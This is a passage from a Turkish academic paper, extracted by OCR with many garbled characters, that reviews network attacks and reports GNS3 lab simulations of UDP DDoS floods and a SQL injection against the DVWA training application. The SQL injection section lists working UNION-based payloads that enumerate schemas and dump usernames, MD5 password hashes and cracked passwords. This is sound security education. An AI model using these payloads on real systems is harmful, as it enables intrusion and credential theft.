edilen ag kayitlar1 kullanilarak SQL enjeksiyon saldirisi tespit metodolojisi tanimlamiglardir.

[14] nolu ¢aligmada, Web uygulamalarindaki XSS agiklar1 Asp.NET, PHP, PHP ve Ruby programlama
dilleri ile farkli platformlarda uygulamali olarak analiz edilmis ve ¢6z{im onerilerini sunmuslardir.

[15] nolu ¢alismada, XSS ve SQL enjeksiyon saldirilarinin zararl etkilerinden korunmak ve saldirgan
kimligi hakkinda bilgiler toplayabilmek icin diisiik etkilesimli bal kiipi modeli iizerinde caligsma
yapmuiglardir. 2 aylik test siirecinden sonra bal kiipli modeli ile sadece saldir1 tespiti degil ayn1 zamanda
saldirganin kimligi hakkinda da bilgi toplamay1 basarmislardir. Ayrica saldirgan, saldiri aninda
kimligini gizlemek i¢in proxy veya TOR kullanmasina ragmen, LikeJacking teknigini ile yakalanan
saldirganin sosyal medya hesaplari1 hakkinda bilgi tespit edebilmislerdir.

[16] nolu calismada, SQL Enjeksiyonu, XSS saldirilari, Wordpress kullanict adi ¢calma ve kablosuz
erisim sifrelerinin ele gecirilmesi senaryolarimi Kali Linux Isletim sistemini kullanarak simiile
etmislerdir. SQL enjeksiyonu saldirisi i¢in sqlmap aracindan yararlanilmistir. XSS saldirisinda, yalnizca
istismar edilen web sunucusundan yararlanmay1 degil, ayn1 zamanda web sunucusuna uzaktan erigim
saglayan kurban PC’ye uzaktan erigim saglanmay1 basarmislardir.
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Tablo 1 DDoS, SQL enjeksiyonu, XSS saldirist inceleme ¢aligsmalari

Ref. Cahgymanin Amact  Saldir Tipi Kullanilan Metot Platform Sonug
Jain Indeksi Entropiye
[3] ?OS Saldinilarinin DoS / DDoS Entropi -Jain indeksi Mininet  Gore Daha Y iksek
espiti
Bagarim Oran1
YSA Temelli Zeki 1 Giris, 2 Ara Katman En Yiksek %97,92
41 STS Tasarimui DoS /DDosS ve Cikig Katmanli YSA En Diigiik  %81.93
Protokol Bazli
[6] Saldir1 Tiirlerinin DoS / DDoS Flooding Scapy Flood Sald} rlk.m.
. Gergeklestirmistir
Analizi
7] ere§hark ile Paket Sniffing UDP Wireshark Wireshark ile A.g.Traﬁgl
Analizi ve Konum Tespiti
U DDoS, Brute Force,
8] ;gsAanT;lfmgl e STS 55 sqL CICIDS2017 Veri Seti IDS g(;l‘?gg}l’;’iﬂ;f“
Enjeksiyonu, Botnet 3 SHr.
9] FPGA tabanli STS ) YSA Temelli Saldir IDS Normal Ag Trafigi ile
Tasarimi Tespit Sistemi Saldir Trafigi Tespiti
Saldirilarin Bulut
DDoS S.a.ld.lrllarmm Teknolojisine Etkileri DDoS'un OSI
[10] Bulut Bilisime DDoS o IDS .
o ve COzim Onerilerinin Katmanlarima Etkileri
Etkileri
Karsilagtirilmasi
SQL
Lo Manipulasyonu, S
SQL Enjeksiyon Kod Enjeksiyonu, 22 Farkli Teknik ile SQL Enjeksiyon
[11] §ald1rllar1n1n Fonksiyon Cagri Saldir Tespiti Saldirilarmm
Onlemesi NSty & P Kategorizasyonu
Enjeksiyonu,
Tampon Tagmasi
S Web Uygulamasina SQL Saldirilarindan
[12] iQﬂLdErr:Jnell:lS;ylggr . ﬁ/l?alr;i iilasvonu SQL Enjeksiyon A'\igls\lg[ Korunma Yéntemlerinin
¢ 3 pulasy Saldirist Siniflandirilmast
gggﬁgﬁﬁ?lg}?s?, GNS3 ile DMZ Ag’a SQL Enjeksiyon Saldirisi
[13] - SQL Enjeksiyonu SQL Enjeksiyon GNS3  Tespit Metodolojisi
Kullanarak Simile S w
E Saldirist Simiilasyonu Onerilmistir
tme
XSS Saldirilarinin
Asp.NET, PHP, Kategorizasyonu ve
[14] ?I.(SS _A_taklarlmn XSS Saldirist PHP ve Ruby ile XSS - Saldirilar Tespit Ederek
espiti o
Analizi Bagar1 Oranlari
Karsilastirilmistir
. SQLMa Saldirt Tespiti ve
[15] Bal Kiipii Teknigi Ile XSS ve SQL Diisiik Etkilesimli Bal Like'aclzln Saldirganin Sosyal
Saldir Tespiti Enjeksiyon Saldirist Kipd Modeli ) Medya Hesaplar1 Tespit
g Edilmistir
Kali Linux ile SQL
Enjeksiyonu, XSS, Giivenlik Agiklar1 Tespit
)E(rfikggrl;u Wordpress ve Edilerek WPA2
[16] Penetrasyon Testi , K Kablosuz Erisim Kali Linux Protokolu Kullanan
Wordpress ve WPA2 : - g
Saldiris Sifrelerinin Ele Kablosuz Erigim Sifresi
Gegirilmesi Saldirilari Ele Gegirilmistir

Simiile Edilmistir

3. Ag Saldirlarinin incelenmesi

Bu béliimde aglara yapilan saldirilar incelenerek saldirilar kendi iginde saldir1 tiirlerine gore gruplara
ayrimistir. Gruplara ayrilan saldirt tiirleri hakkinda genel hatlariyla bilgi verilmistir.
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3.1. DoS/DDeoS Saldirisi

DoS, tek makine ile bir web hizmet servisini bagka bir faaliyetle mesgul ederek servisin hizmet
vermesini engellemeye yonelik saldir olarak tanimlanmaktadir. Web hizmeti, saldir1 sonucu kesintiye
ugradiginda isteklere yanit veremez duruma gelmektedir. Internet'ten ¢evrimigi alinan saglik hizmetleri,
kurumsal hizmetler, sosyal ag, egitim, finansal ve bankacilik islemleri dikkate alindigda web
hizmetlerinin aksamadan yerine getirilmesi giinimiizde hayati 6nem arz etmektedir.

Birden fazla makine ile gergeklestirilen DoS saldirisina DDoS saldirisi denilmektedir. DDoS saldiri ile
hedeflenen makineye veya sistemin kaynaklar1 asir1 tiikketilerek saldirmin yikici giicii artmaktadir. DoS
veya DDoS saldirinin nihai hedefi, ag trafigini asinn yiikselterek sistemin ¢ok miktarda kaynak
kullanmasini saglamak ve hizmetin aksamasini saglamaktir [17].

3.2. Enjeksiyon Saldirilar

Web uygulamalarina veri girisi yapilan metin kutular1 veya uygulama parametrelerine bilgisayar
korsanlar tarafindan yerlestirilen komut yada sorgu pargasinin yorumlayicida ¢alismasini saglayarak
gerceklestirdikleri saldirilara enjeksiyon saldir1 denilmektedir [18].

Saldirgan yorumlayicida calisacak hale getirdigi kod parcalarimi veri girisi yapilan alanlardan
gondererek okuma, yazma veya silme gibi eylemleri izinsiz olarak gerceklestirebilmektedir. Ayrica
isletim sisteminde c¢alisan kodlar géndererek sunucu veya silahsizlandirilmis DMZ alanlarina erigim
saglayabilmektedir.

3.3. SQL Enjeksiyon Saldirisi

E. F. Codd’un Haziran 1970 yilinda Association of Computer Machinery (ACM) dergisinde yayinlanan
"Biiyiik Paylasimli Veri Bankalar1 igin Iliskisel Veri Modeli" makalesi iliskisel veri tabam ydnetim
sistemlerinin (RDBMS) temeli kabul edilmektedir [19]. SQL (Structured Query Language), 1975
yilinda IBM firmas: tarafindan ANSI (American National Standards Institute) standartlarma uygun
olarak yapisal sorgulama dilidir. SQL ciimleleri ile veri tabaninda veri ekleme, silme, giincelleme ve
arama islevleri yerine getirilmektedir.

SQL enjeksiyon saldirisi, kullanicinin web uygulamasina veri girisi yaptigi zaman arka planda
olusturulan SQL ciimlelerini manipiile etmesiyle gerceklestirilir. Basarili bir SQL enjeksiyon saldirisi,
veri tabanindaki kritik verileri okuyabilir, degistirebilir veya silebilir [12].

3.4. XSS Saldiris1

Siteler Aras1 Capraz Betik Saldirilari, kullanicilar tarafindan giivenilir olarak diisiiniilen web sitelerine
zararli kodlar eklenerek gergeklestirilen saldir1 yontemidir [14]. Bilgisayar korsani veya saldirgan
tarafindan web uygulamalarina yerlestirilen zararli kodlarin, normal kullanici(kurban) tarayicisinda
izinsiz ¢alistirilmasi sonucu istemci gerezleri veya kullanicinin site erisim bilgileri ele gegirilerek normal
kullaniciyr taklit etmesini saglar. Oturum Calma, Yanlis Bilgilendirme, Web Sitesine Ekleme, Acilir
Pencere ve Web Sitesine Zararli Kod Gomme olmak tlizere farkli saldir1 yontemleri mevcuttur.

3.5. Kod Enjeksiyon Saldirisi

HTMLS programlama dili ile gelistirilen web ve mobil uygulamalarin veri giris alanlarina yerlestirilen
kod'lar araciligiyla gergeklestirilen saldir1 yontemidir [20],[21]. Mobil uygulamalarda ¢ok fazla veri
giris alan1 (wi-fi, kisa mesaj, kisi rehberi vb.) bulunmasi nedeniyle kod enjeksiyon saldirilari i¢in uygun
zemin olugmakta ve saldirilar ile sistemler istismar edilmektedir.

3.6. XPath Enjeksiyon Saldirisi

XML Path Language (XPATH) XML dokiimanlari i¢inde sorgu yapmak i¢in kullanilan yorumlayici
sorgulama dilidir. Web uygulamalar genellikle veri, konfigiirasyon veya parametre verilerini saklamak
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icin XML dosyalarini kullanir. XML dosyalari iizerinde islem yapilirken XPATH enjeksiyon saldirilar
icin 6nlem alinmamigsa; Diiglimlere erismek i¢in kullanilan sorgu komutlar1 ile XML veritabanindaki
tiim verilere ulasmak miimkiin olacaktir. XML verilerine ulasildiktan sonra hak yiikseltme ve diger
veritabanlarina erisim gibi daha yikici saldirilar ile karsi karsiya kalinmaktadir [22].

3.7. Sosyal Miihendislik Saldirilar

En temel saldirn yontemlerinden biri olan Sosyal Miihendislik Saldirisi, insani zaaflardan veya
dikkatsizliklerden faydalanarak, kurumsal ag ve kurum personeli hakkinda cesitli bilgiler elde etmek,
sifreleri ele gecirmek veya saldirilara 6n hazirlik yapmak amaciyla her tiirlii verinin elde edilmesi
strecini ifade etmektedir.

Telefon araciligiyla aldatma, ¢opleri karistirma, giivenilir kaynaktan gonderildigi hissi olusturan
mesajlar ile ikna etme(oltalama), truva atlari (trojan), tersine miihendislik, eski cihazlar iizerindeki
depolama birimlerinde kalan verilerin ele gecirilmesi, 6diil avciligi, oltalama, omuz sorfii, taninmig
kisiler admna acilan sahte sosyal medya hesaplar1 ile aldatma ydntemleri sosyal miihendislik
saldirilarinda en sik basvurulan saldir1 yontemleridir [23].

3.8. Honeypot(Bal Kiipii) Temelli Saldirilar

Bilgisayar korsanlari veya yetkisiz erisim saglamaya calisan saldirganlar hakkinda bilgi toplamak
amaciyla kurulan 6zel tuzak sunuculara honeypot(bal kiipii) denir [24],[25]. Bal kiipleri agin bir pargasi
olarak faaliyet gosteren sunucu veya ag cihazi olabilir. Bal kiipii sahte veriler, dokiimanlar, hayali kimlik
bilgileri, sifre veya kredi kart1 bilgileri gibi saldirganlarin dikkatini ¢ekecek veriler barindirir. Uzerinde
farkli seviyelerde giivenlik agiklar1 birakilan bal kiipleri saldirganlarin 6ncelikli hedefi haline gelmesi
saglanir.

Hedef bal kiipiine yapilan saldirilar incelenerek saldirganin kimligi, saldiriin kaynagi, yeni saldir
tiirleri veya yontemleri tespit edilerek giivenlik cihazlarina alarm iiretmesi saglanir. Agda
yerlestirildikleri konuma gére Uretim bal kiipleri (production honeypots) ve Arastirma bal kiipleri
(research honeypots) olmak Uzere iki gruba ayrilir [25].

Aragtirma balkdipleri saldirganlar tarafindan kullanilan yeni saldir1 tekniklerini aragtirmak ve tespit
etmek amaciyla akademik, kurumsal veya amator amaglarla kullanilan basit sistemlerdir. Oltalama
seklinde saldirganlar1 ¢eken sistemler de denilebilir.

Uretim balkiipleri ise iizerinde ¢alistiklar1 sistemin kopyasini alarak FTP, HTTP, SMTP gibi servislerde
birakilan giivenlik aciklar ile gercek sistemlere yonelmesi muhtemel tehditleri kendi iizerlerine ¢ekerek
gercek sistemlerin zarar gérmesini engellerler [26].

4. Ag Senaryolar1 ve Saldir1 Uygulamalari

Ag simulasyon ve emiilasyon araglari, son kullanicilarin ve ag yoneticilerinin karmagsik aglar1 kisa
siirede daha diisiik maliyetlerle taklit etmelerini saglar. GNS3; Linux, Windows ve MAC isletim
sistemlerinde ¢aligabilen agik kaynak kodlu Grafiksel Ag Simiilatér yazilimidir. GNS3 farkli igletim
sistemleri ve Cisco I0S'larin emiilasyonunu taklit edebilmektedir [27]. Bu kapsaminda Sekil 2'de
sunulan sanal test ortamu tasarlanarak 3 farkli saldir1 senaryosu gergeklestirilmistir. OSI katmanlarina
gore farkl saldir1 teknikleri kullanilmis ve her saldirt aninda olusan ag trafigi wireshark yazilim ile
kayit altina alinmistir. Kampiis aginin tasariminda asagidaki yazilim ve donanim kullanilmis, router,
switch, firewall ve sanal pc konfigiirasyonlari tamamlanarak sanal ag hazir hale getirilmistir.

e (GNS32.2.2 Yazilimu

e VMware Workstation 12 Pro

e (GNS3 2.2.2 Virtual Server Yazilimi
o PfSense 2.4.4 Open Source Firewall
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e Wireshark 3.0.6

e Kali Linux Isletim Sistemi

e Linux Mint Isletim Sistemi

e Windows 7 Isletim Sistemi

e GNS3Virtual PC

e Cisco 3725 Router

e Cisco 3640 Router + EtherSwitch

Makale kapsaminda, farkli saldir1 teknikleri incelenerek saldirilar hakkinda genel bilgiler verilmistir.
Ayrica bilgisayar korsanlarinin ag sistemlerine saldirilarda en sik kullandigi DDoS, SQL enjeksiyonu
ve XSS saldirilar1 GNS3 platformunda modellenerek, saldirilar uygulamali olarak gerceklestirilmistir.
Saldirilarin ag’da biraktig1 hasarlarin sonuglari tespit edilerek saldirilardan korunmak i¢in Oneriler
sunulmustur. Tasarlanan ag, gerceklestirilen saldirilar ve diger tiim uygulamalar igin kullanilan sisteme
ait teknik ozellikler Tablo 2’de sunulmustur.

Tablo 2 Caligmalarin gerceklestirildigi sisteme ait teknik 6zellikler

Yazihim / Donanim Adi Ozelligi
islemci Intel Core i7-6700HQ CPU
RAM 16 GB PC4-19200 DDR RAM (2 * 8 GB)
Ekran Kart1 4 GB NVIDIA GeForce GTX 960M
. 128 GB Toshiba SSD
Harddisk 1 TB Toshiba 5400 Rpm SATA Disk
Ethernet Karta Realtek RTL8168/8111 PCI-E (_Sigabit Ethernet NIC
Atheros/Qualcomm AR9462 Wireless Network Adapter
Isletim Sistemi Windows 10 Home Single Language

4.1. DDoS Saldir1 Uygulamasi

Ik uygulama, kampiis-A agindaki 192.168.10.35 ip adresine sahip Linux Mint PC’den DMZ alanina
hizmet veren 192.168.100.2 ip adresli glivenlik duvarina 2048 ve 1024 byte'lik iki farkli DDoS saldiris1
gerceklestirilmistir. Her iki saldirt i¢in Perl dilinde hazirlanmig UDP protokoliinii kullanan saldirt
script’leri kullanilmistir. Gergeklestirilen saldirilara ait ag trafigi Sekil 3’de sunulmustur.

M +- [DMZRT FastEthernet0/0 to PfSense2.4.4-1 em0)]
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

an ® TRE Qe EF L _ = QT
ir fils, N
No. Time Source Destination Protocol Lengt Info
30.. 479.779926 192.168.10.35 192.168.100. IPv4 610 Fragmented IP protocol (proto=UDP 17, off=1480, ID=184a)
30.. 479.790892 192.168.10.35 192.168.100. uop 1066 55845 +» 80 Len=1024
30.. 479.801862 192.168.10.35 192.168.1600. IPv4 1514 Fragmented IP protocol (proto=UDP 17, off=0, ID=18aa)
30.. 479.812834 192.168.10.35 192.168.100. IPva 610 Fragmented IP protocol (proto=UDP 17, off=1480, ID=18b0)
30.. 479.823804 192.168.10.35 192.168.100. IPva 610 Fragmented IP protocol (proto=UDP 17, off=1480, ID=18¢0)
30.. 479.834775 192.168.10.35 192.168.100. upp 1066 55845 -+ 80 Len=1024
429845245192 168.10.35 192 168,160 .2 Ibvd 1514 Ecaemented 1P protocgl (proto=UDP 17, off=@, ID=19ce)
30.. 479.856716 192.168.10.35 192.168.100.2 upp 1514 53868 » 80 Len=2048
30.. 479.867687 192.168.10.35 192.168.100.2 uop 1066 55845 » 80 Len=1024
" . e . . > Thoe ore-trapmeTter=ttprotoror=tbroto=UDP 17, off=1480, ID=1b20)
30.. 479.889628 192.168.10.35 192.168.100.2 upp 1066 55845 » 80 Len=1024
30.. 479.900599 192.168.10.35 192.168.100.2 upp 1066 55845 » 80 Len=1024
2
2

30.. 479.911570 192.168.10.35 192.168.100. ubp 1066 55845 » 80 Len=1024
30.. 479.922540 192.168.10.35 192.168.100. upp 1066 55845 +» 80 Len=1024

Sekil 3 Giivenlik duvarina yapilan saldir1 trafigi
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Ikinci uygulama; DMZ alanindaki 192.168.60.44 ip adresli apache-web-server’dan 192.168.62.44 ip
adresli db-server’a 1024 ve 2048 byte’lik 2 farkli DDoS saldir1 olarak gergeklestirilmistir. Kayit altina
alinan ag trafigi Steel Center Packet Analyzer 10.9.3 yazilimi ile analiz edilerek saldirinin boyutu Sekil
4'de gosterildigi gibi 27 GB olarak tespit edilmistir. Saldir1 sonucu db-server’a ait normal ag trafigi
tamamen ARP yayinina doniiserek, HTTP Portu {izerinden iletisim kesilmistir.

28.00G 27.24G
21,00G
]
=
0 4006
|
=}
7,006
0 488,00k 833,60K
Bl 2 2
i
£ \)Q ?_Q'

Sekil 4 DDoS saldir1 trafik miktari

[Ik DDoS saldir1 uygulamasi sirasinda PfSense giivenlik duvari, kendisine yapilan saldirilart algilayip
Sekil 5'te belirtilen kural tablosuna engelleyici kurallar1 ekleyerek saldirilarinin giivenlik duvarinin
arkasina ge¢cmesine izin vermemistir.

Last 50 Firewall Log Entries. (Maximum 50)

Action Time Interface Rule Source Destination Protocol
% Dec2216:59:30 WAN Default deny rule IPv4 (1000000103)  £()192.168.10.35:40379 i(0192.168.100.2.80 UDP
x Dec2216:59:30 WAN Default deny rule IPv4 (1000000103)  i(1192.168.10.35:40379 1[192.168.100.2.80 UDP
x Dec2216:59:30 WAN Default deny rule IPv4 (1000000103)  1(5192.168.10.35:40379 1(5192.168.100.2:80 UDP
% Dec2216:59:30 WAN Default deny rule IPv4 (1000000103)  £(192.168.10.35:40379 1(5192.168.100.2.80 UDP
x Dec2216:59:31 WAN Default deny rule IPv4 (1000000103)  1(192.168.10.35:40379 1(3192.168.100.2:.80 UDP
x Dec2216:59:31 WAN Default deny rule IPv4 (1000000103)  £(1192.168.10.35:40379 1[5192.168.100.2:.80 UDP
% Dec2216:59:31 WAN Default deny rule IPv4 (1000000103)  i(51192.168.10.35:40379 1[5192.168.100.2.80 UDP
i n . - -

Sekil 5 Giivenlik duvart kural tablosu

Ikinci DDoS saldir1 uygulamasinda; saldirt esnasinda ag trafigi Sekil 6'da belirtildigi gibi wireshark
yazilimi ile kayit altina alinarak incelendiginde, saldirilarin hangi protokolle gerceklestirildigi,
saldinllarin kapasitesi, siiresi, boyutu, saldirinin kaynagi ve hedefi acikca tespit edilmistir. Saldirt
sonunda db server'e ait ag iletisimi Sekil 7'de belirtildigi tizere ARP yayinina donerek HTTP iletisimi
kesilmis ve Sekil 8’de sunuldugu gibi tiim veri trafiginin sonlanmasina neden olup db server'in hizmet
aksatmasi saglanmustir.

M DDoSCapure peapng

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

PLEL) RE Q«=EFsEaaar

[ r .

Im‘. Time Source Destination Frotoco! Length  Info
21..949.796520 192.168.60.44 192.168.62.44 UDP 610 57445 +» 80 Len=2048
21..949.796685 192.168.60.44 192.168.62.44 1IPv4 1514 Fragmented IP pr‘OtOCOl
21..949.804118 192.168.60.44 192.168.62.44 UDP 610 57445 +» 80 Len=2048
21..949.804282 192.168.60.44 192.168.62.44 1IPv4 1514 Fragmented IP protocol
21..949.804360 192.168.60.44 192.168.62.44 UDP 610 57445 + 8@ Len=2048
21..949.804434 192.168.60.44 192.168.62.44 1IPv4 1514 Fragmented IP protocol
21..949.804483 192.168.60.44 192.168.62.44 UDP 610 57445 -+ 80 Len=2048
[21,.. 949.804525 192.168.60.44 192.168.62.44 UDP 1066 36020 » B8O Len=1624J
21..949.804612 192.168.60.44 192.168.62.44 1IPv4 1514 Fragmented IP protocol
21..949.804683 192.168.60.44 192.168.62.44 UDP 610 57445 + 8@ Len=2048
21..949.8@4768 192.168.60.44 192.168.62.44 UDP 1666 36020 + 8@ Len=1024

Sekil 6 Db server’e yapilan saldir trafigi
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‘ DDoSCapture.pcapng

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

dm ® RE RessFsEaaarm

“NaA - | T-\_me ) Source Destination Protocol Length Info
321..1474.484615 192.168.60.44 192.168.62.44 IPv4 1514 Fragmented IP protocol (proto=UDP 17, off
321..1474.484852 192.168.60.44 192.168.62.44 upp 610 57661 » 8@ Len=2048
321..1474.485017 192.168.60.44 192.168.62.44 IPva 1514 Fragmented IP protocol (proto=UDP 17, off
321.. 1474.485065 192.168.60.44 192.168.62.44 ubp 610 57661 » 80 Len=2048
321..1474.510799 6c:61:7a:7f:5d:@3 Broadcast ARP 42 Who has 192.168.62.44? Tell 192.168.62.1
321..1474.579678 Bc:61:7a:7f:5d:@3 Broadcast ARP 42 Who has 192.168.62.44? Tell 192.168.62.1
321.. 1475.577909 ©c:61:7a:7f:5d:03 Broadcast ARP 42 Who has 192.168.62.44? Tell 192.168.62.1
321..1476.577016 @c:61:7a:7f:5d:@3 Broadcast ARP 42 Who has 192.168.62.44? Tell 192.168.62.1
321..1477.581289 Bc:61:7a:7f:5d:@3 Broadcast ARP 42 Who has 192.168.62.447 Tell 192.168.62.1
321..1478.581161 Bc:61:7a:7f:5d:03 Broadcast ARP 42 Who has 192.168.62.447 Tell 192.168.62.1

Sekil 7 Saldirilar sonucu db-server ag trafigi

Gergeklestirilen iki farkli DDoS saldirisi ile hedef sistemin 80 nolu portuna 1.187.425 adet 2048 byte
ve 439.167 adet 1024 byte olmak tizere toplam 2.68 GB’lik UDP paketi gonderilerek sunucunun devre
dis1 kalmas1 saglanmstir.

Bits per Second 'Byles per Second 4 b

45,00M e EBits
40,00M »

35.00M
30.00M
25.00M

Bits/s

20.00M
15.00M
10.00M

5,00M

o
15:59:08 16:11:08 16:15:08

Notes . |

Packets per Second ab

5,00
450K
4.00K
3.50K
3.00K
250K
2,00K

Packets/s

1.50K

1.00K

16:15:09

Notes 2|
Curent Selection: 27.11.2019 15:59:09 - 16:28:08 (28.983 m) @ 10 secs - Total Window: 27.11.2019 15:59:08 - 16:28:08 2

Sekil 8 Saldir1 aninda ag trafiginin sonlandigina ait bit ve packet grafigi

4.2. SQL Enjeksiyon Saldir1 Uygulamasi

Damn Vulnerable Web Application (DVWA), iceriginde farkli giivenlik seviyeleri olan, MySQL veri
taban1 ve PHP dili kullanilarak yazilmis web uygulamasidir. DVWA uygulamas1 SQL Enjeksiyon ve
XSS saldirilan1 gerceklestirilebilecek acgiklari barindirmaktadir. Bu agikliklar web uygulamalarimi
giivence altina alma siireglerini daha iyi anlayabilme, yonetebilme ve sinifi¢i bir ortamda web uygulama
giivenligini 6gretme/6grenme konusunda yardimci olmakla beraber web giivenligi test araglarinin yasal
ortamda test edilmelerine imkan sunmaktadir[28]. Bu nedenle SQL Enjeksiyon saldirilar igin DVWA
web uygulamasi kullanilmustir.

DMZ alaninda apache-web-server’inde yayin yapan DVWA web sitesine; 192.168.10.35 ip adresli
adresinde Linux Mint PC’den SQL injection saldiris1 yapilarak veri tabaninda kayitl verilere erisilmeye
calismistir. DVWA web uygulamasi, DMZ alaninda yayin yaptig1 i¢in glivenlik duvar arkasindan dis
kullanicilarin apache-web-server’e erisebilmesi giivenlik duvarina ait wan ara yiizii 80 numarali portuna
gelen isteklerin apache-web-server’e NAT (Network Address Translation) yapilarak yonlendirilmesi
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gerekmektedir. Giivenlik duvarina NAT kaydi eklenip ag kullanicilarinin web uygulamasina erigsmesi
saglanmistir, Sekil 9°da giivenlik duvarina eklenen NAT kaydi goriilmektedir.

Firewall / NAT / Port Forward (2]

The changes have been applied successfully. The firewall rules are now reloading in the background
nitor the filter reload progress

Port Forward 13 Outbound NPt
Interface  Protocol Source Address Source Ports Dest. Address Dest. Ports NAT IP NAT Ports Description Actions
« 3G WAN TCP o . WAN address 80 (HTTP) 192.168.60.44 80 (HTTP) ridm)

Sekil 9 Giivenlik duvart NAT kaydi

Web uygulamasina erisim saglandiktan sonra adim adim SQL Enjeksiyon saldirisi yapilarak veri
tabaninda kayitli verilere ulagilmistir.

Adim-1: SQL enjeksiyon agig1 olup olmadigini tespit etmek i¢in Sekil 10°da belirtilen User Id alanina
tek tirnak (“) karakteri girilerek sayfanin SQL injection ag1g1 kontrol edilmis ve Sekil 11'de belirtildigi
gibi hata mesaj1 alinarak SQL enjeksiyon acig1 tespit edilmistir.

Vulnerability: SQL Injection :: Damn Vulnerable Web Application (DVWA) v1.10 *De -

B wuinerability: SQL Injection X | =4

€)= C B i # 192.168.100.2 Afvulng - O mn » =

e . Vulnerability: SQL Injection
Instructions |

Setup / Reset DB J User ID: | * Submit

Brute Force |

Command Injection \ More Information

Sekil 10 SQL enjeksiyon a¢181 kontrolil

|E pfSense.localdomain - £ X | 192:168.60.44/DVWAfwilr X | 4

:e > C @ D 192.168.60.44/DVIWVA/ ! \ i =Sybm 160% - @ n o E‘

| You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''’ at line 1
Sekil 11 Sorgu sonucu ekrana gelen hata mesaji

Adim-2: SQL enjeksiyon agig1 tespit edildikten sonra, sirasiyla Kod 1’de sunulan SQL komutlar1 User

ID alanindan uygulamaya gonderilerek veri tabani ve tablolar hakkinda cesitli bilgiler elde edilmistir.

Kod 1 SQL enjeksiyon kodlar1

44' or '1' ="1"# //SQL sorgusunun ¢alistigi tablodaki kayitlar aldik
44'or'l'="1' ORDER BY 1 # // SQL sorgusundaki alanlardan 1. alana gére kayitlar siralr getirir
44'or'l'="1' ORDER BY 2 # // SQL sorgusundaki alanlardan 2. alana gére kayitlar siralr getirir

44' or '1' ='1' ORDER BY 3 # // Unknow column ‘3’ in ‘order clause’ hatasi alindi, geri planda
calisan SQL sorgusunda 2 alan select edilmis demektir!
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Kod 1 SQL enjeksiyon kodlar1 (devami)

44" or '1' = '1' UNION Select 1,version() # /I Listelenen kayitlarin son satrinda calisan DB
versiyonunu aldik : 10.3.15-MariaDB-1

44 or 1 = 'l "UNION Select  1,group_concat(* 'schema_name") from
"information_schema.schemata" # //web uygulamasinda calisan veri tabami isimlerini listeledik

"informaion_schema", ""dvwa"’

44' or '1' = '1' UNION Select 1,group_concat(table_name) from information_schema.tables Where
table_schema='dvwa' # // tespit ettigimiz veri tabanmindaki tablolarin isimlerini listeledik ""users",
""uestbook"*

44' or '1' = '1' UNION Select 1,group_concat(column_name) from information_schema.columns
Where table_name='users#' //users tablosundaki alan adlari listesi Sekil 12'de sunulmustur.

ID: 44' or 'l' = '"1' UNION Select 1, group_concat({column_name) from information| schem
First name: 1
Surname: user_id,first _name,last_name,user,password,avatar,last_login,failed login

Sekil 12 User tablosu alan adlari

Adim-3: Bilgi toplama adimlarinin  sonunda “44' or '1' = '1' UNION Select 1,
"group.\_concat"(user,0x3b,password,0x0a) from dvwa.users #” SQL kodu gonderilerek “users”
tablosunda kayitli kullanict adi ve sifre 6zetleri Sekil 13'de belirtildigi sekilde ele gecirilmistir.

ID: 44' or 'l' = '1' UNION Select 1, group_concat{user, 8x3b, password, BxBa)
First name: 1

Surname: admin;5f4dcc3b5aa765d61d8327deb882cf99
,gordonb;e99218c428cb38d5T260853678922e03
,1337;8d3533d75ae2c3966d7eBd4fcc69216b
,pablo;8d187d09f5bbedBcade3de5c71e9e9b7
,smithy;5f4dcc3b53a765d61d8327deb882c 99

Sekil 13 User tablosu sifre 6zetleri

SQL enjeksiyon saldiris1 boyunca ag trafigi wireshark yazilimi ile kayit altina alinarak incelendiginde,
SQL enjeksiyon saldir1 istek kodlar1 Sekil 14'te ve web sunucusunun verdigi yanitlar Sekil 15'te
sunulmustur.

- = Bomrea tmtraten [— [P -

1016 796.378272 192.168.18.35 192.168.108.2 TCP 65 55906 + BA [ACK] Seqsl Ack=1 Win=29312 Len=@ TSval-1658484299 TSecr=2525734744
= 1817 796.378637 192.168.18.35 192.168.1080.2 HTTP 823 GET /OVWA/vulnerabilities/sqli/?id=99%27+or+8271%27X308271%27++UNION+Select+1X2C+group_concat!
1818 796.352877 192.168.188.2 192.168.18.35 TCP 66 BB - 55886 [ACK] Seq=l Ack=758 Win=64512 Len=8 TSval=2525734777 TSecr=165846425% —

« S

Atat) -
[Full request URL: http://192.168.100.2/DviWA/vulnerabilities/sqli/?id=99%27+or+8271527530%271527++UNION+Select+1%2Crgroup_concati2Buserf2C+ox3bh2Crpas swordh2{+axBak2o+i

Sekil 14 SQL enjeksiyon istek kod trafigi

o = Source Destaten Protote ngn o G

1821 796.414016 192.168.100.2 192.168.18.35 HTTP 683 HTTP/1.1 200 OK  (text/html)
1822 796, 414795 192.168.18.35 192.168.108.2 TP 6655996 + 89 [ACK] Seqa758 Acke2066 Wine35672 Lensd TSvals1658464343 TSecra2525734781 |
{1823 796.453585 192.168.10.35 192.168.100.2 HTTP 675 GET /DVWA/dvwa/css/main.css HTTR/1.1 o
: : : >
ALt L

wevee/farma\r\n

[truncated]\t\t<pre>ID: 99' or '1'='1" UNION Select 1, group_concat{user, @x3b, password, @x@a) from dvwa.users #<br />First name: admin<br /»Surname: admin</prer<pre
+Bordonb; e%3a18c428ch38d5f260853678922e03\n

»1337;8d3533d75ae2c1966d7edddfccE9216b\n

.pablo;Bd187489f5bbedBcade3deScT1ededbi\n

Lsmithy:5fddec3bSaa765d6148327debB82eF20\n

</prexheip

Sekil 15 Web server talep edilen sql istegine verilen cevap kod trafigi

SQL enjeksiyon saldirisina ugrayan veritabaninda kayitli kullanici adi ve sifre 6zetleri hash kod ¢oztict
uygulamalar ile isleme alindiktan sonra elde edilen sifrelere ait bilgiler Tablo 3'de sunulmustur.
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Tablo 3 Veritabaninda kayith hash kod 6zetleri ve sifre tablosu

Kullanic1 Adi Hash Kodu Sifre
admin 5fAdcc3b5aa765d61d8327deb882cf99  password
gordonb €99a18c428ch38d5f260853678922e03  abcl23
1337 8d3533d75ae2c3966d7e0d4fcc69216b  charley
pablo 0d107d09f5bbe40cade3de5c71e9e9b7  letmein
smithy 5f4dcc3b5aa765d61d8327deb882¢f99  password

SQL enjeksiyon saldirisinin amacina ulagmasi igin uygulamaya 15 defa enjeksiyon kodlarini igeren
